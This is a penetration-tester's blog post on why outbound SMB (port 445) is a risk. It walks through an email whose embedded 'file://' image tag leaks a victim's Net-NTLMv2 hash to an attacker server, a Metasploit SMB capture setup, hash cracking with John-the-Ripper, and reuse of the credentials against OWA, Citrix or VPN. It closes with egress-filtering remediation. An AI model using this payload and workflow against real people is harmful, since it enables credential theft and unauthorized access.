When performing an internal penetration test, a common check pentesters perform is testing egress packet filtering. That is, we scan an outside server that purposefully has all ports open to determine what ports are allowed outbound from the customer’s internal network. Servers such as Nmap’s scanme.nmap.org or Rapid7’s egadz.metasploit.com has all 65,535 ports open, so hitting these servers using Nmap (e.g. nmap -p- egadz.metasploit.com) would show us what ports are allowed outbound.
So why would having all ports allowed outbound be a bad thing? At first glance, you might hear a network admin say something like, “…well it wouldn’t matter as the internal traffic from our company is trusted – so connections made outbound should be fine.” Well, unfortunately that isn’t true.
Properly configured egress filtering helps prevent the transmission of unwanted traffic to the Internet. This includes preventing compromised systems, such as ones infected with malware, from attempting to communicate with remote hosts over specific command-and-control ports. Egress filtering can also help prevent information leaks due to system misconfiguration.
For many network admins, this doesn’t seem like a big deal or threat because the mindset is that for malware to be allowed outbound, a computer would first have to be infected and communication can still happen through ports like 443/80, which is needed for HTTPS/HTTP. Many admins also think that the trouble of figuring out which ports are needed for business functions is too much of a hassle in comparison to malware that could be installed on a system which has the “best” anti-virus installed on it.
Unfortunately, ports such as 445 for SMB allowed outbound can still pose a critical threat. On top of that, an attacker from the Internet can send emails containing embedded HTML that can force the user’s computer to give their password hash to the attacker through the SMB protocol. After capturing the victim’s hash, the attacker can crack the hash and gain access to external and possibly internal resources.
WHAT IS SMB?
According to Microsoft, the Server Message Block (SMB) is defined as the following:
A network file sharing protocol that allows applications on a computer to read and write to files and to request services from server programs in a computer network. The SMB protocol can be used on top of its TCP/IP protocol or other network protocols. Using the SMB protocol, an application (or the user of an application) can access files or other resources at a remote server. This allows applications to read, create, and update files on the remote server. It can also communicate with any server program that is set up to receive an SMB client request.
In short, SMB is the protocol you use to connect to file shares on your network or other networks. Or more commonly heard by employees, “That’s my ‘X:’ drive where I put all my documents to share with everyone else, right?”
THE ISSUE WITH EGRESSED SMB (PORT 445)
SMB uses an authentication protocol called Net-NTLMv2 to authenticate across the network using a challenge/response/validation method. If an attacker can get a victim’s Windows system to engage with the attacker’s system, the attacker can retrieve the hash and perform offline-cracking to retrieve the victim’s password. The steps look like this:
- The client (victim) sends a request to the server (attacker) to authenticate with parameters about the connection.
- The server sends back a nonce, which is a random 16-byte string that shouldn’t be repeated.
- The client encrypts that nonce with its password and sends it back.
- For non-domain authentication, the server knows the password, so it can decrypt the response and see if it matches the original nonce. If so, it grants access.
The big question any network admin should ask themselves is, “Why would an employee/user need to access an external file share over the internet?”
HOW CAN YOU CAPTURE CREDENTIALS THROUGH EMAIL?
Crafting the Email
Before we get into exploitation steps, let’s quickly go over some basic HTML syntax. For inserting an image in HTML from an external resource, we can use the following syntax and absolute URL path:
<img src=”http://domain.com/path/image.jpg”>Likewise, we can also pull the picture in HTML through SMB with the “file://” URI scheme. For example, instead of using the above image tag we can use the following to grab the same image using the SMB protocol:
<img src=”file://domain.com/path/image.jpg”>If we were to embed this code into an email using an application like Mozilla Thunderbird or another tool/plugin (https://github.com/ac3lives/Outlook-SMB-Tag-Injector), the picture would load when the user opened the email and enabled the “Download Pictures” option. Additionally, the picture could load if the user or network admin had changed the “Automatic Download Settings” to enabled.
For the crafted email itself, we don’t have to get too crafty or tricky with it as it will not be a true social engineering-style attack where we are making a victim perform an action, he/she would not normally perform on their own. For the email, we can have something as simple as the following:
When the user (victim) receives the email, they would open it and see the following:
Notice in Figure 4 the small box with the red “x” above the <signature.jpg>. This small box is our embed HTML code that has not been downloaded yet. If the user is enticed to download pictures to see who sent them the email, their computer will attempt to load the photo from the attacker’s server over SMB if the SMB port (port 445) is allowed outbound. In the above example, we placed the “<signature.jpg>” below the embed HTML in an attempt to show that it is a signature that should be downloaded.
While this is just an example to entice a user to download pictures, you could just embed the HTML code anywhere in the email such as way down at the bottom where it would be hidden when opened.
CAPTURE CREDENTIALS THROUGH EMAIL – ATTACKER SERVER SETUP
For the attack server in our example, we will be using the Metasploit Framework SMB capture module (auxiliary/server/capture/smb). We will also have the server Internet-facing and allowing inbound port 445 connections. If you have the server on a NAT’d network, make sure port 445 is forwarded to your Metasploit server instance.
We will then set the “JOHNPWFILE” and/or “CAINPWFILE” options to a file name which Metasploit will use to write output to. In our example, I will use the JOHNPWFILE option since I want to crack the hashes captured using the John-the-Ripper tool. We will also set the SRVHOST to our IP address. If the server is Internet-facing, make sure to use the outside IP address of your server.
Also, notice the CHALLENGE setting set to “1122334455667788” by default. If you look back at step-2 in the NetNTLMv2 handshake, you will see that this is the “random” 16-byte nonce string that the server sends to the client and the client encrypts with its password. By default, this setting is set to this basic challenge in order to require less computational work for when we crack the hash later.
CAPTURE CREDENTIALS THROUGH EMAIL –COLLECT AND CRACK HASHES
Once the server is up and running and emails are sent to various users (victims), we just sit back and wait for users to open the email and download the pictures. Once that happens, we should get back NetNTLMv2 hashes from the victims assuming port 445 is egressed.
The above image is redacted as it was used on a real assessment but you will notice that the information you captured will contain the victim’s username, external IP address, time/date captured, and hash information. This by itself can be very useful information as you will sometimes find companies having different email formats versus their internal username formats. If you intend to bruteforce external services that do not have multi-factor authentication enabled, knowing the internal username format can be critical.
Looking at the smbcapture.txt file the data wrote out to, it will have a format similar to the following:
[Username]::[DomainName]::1122334455667788:[LMHASH]:[NTHASH]These NetNTLMv2 hashes can be now cracked using tools such as John-the-Ripper (John), or even oclHashCat (much faster as it uses GPUs instead of your CPU). We won’t go over all the details about cracking methods (for another blog post) but will use the below example as a demo using the John-the-Ripper tool:
root@kali:~# john --format=netntlmv2 --wordlist=[Path_to_wordlist]
PILLAGE
Now that you have some credentials, what do you do with them? Well, that really depends on the scope of work you are doing for your client. If they want you to keep going to show to show greater risk, you can use these credentials to attack the client’s external resources, such as OWA, Citrix, VPN, or company website (assuming they don’t use multi-factor authentication). You may even use Citrix or VPN to pivot into their internal network to gain more access.
REMEDIATION
All egress firewalls should implement a default deny all egress filtering policy, only allowing outbound traffic through defined ports with proper authorization. All UDP and TCP packets with destination ports outside those permitted should be rejected and logged at the firewall. By implementing these firewall egress settings, you will significantly improve your overall security posture.
Have fun and remember to only use this attack with permission.
Author: Jason Zaffuto
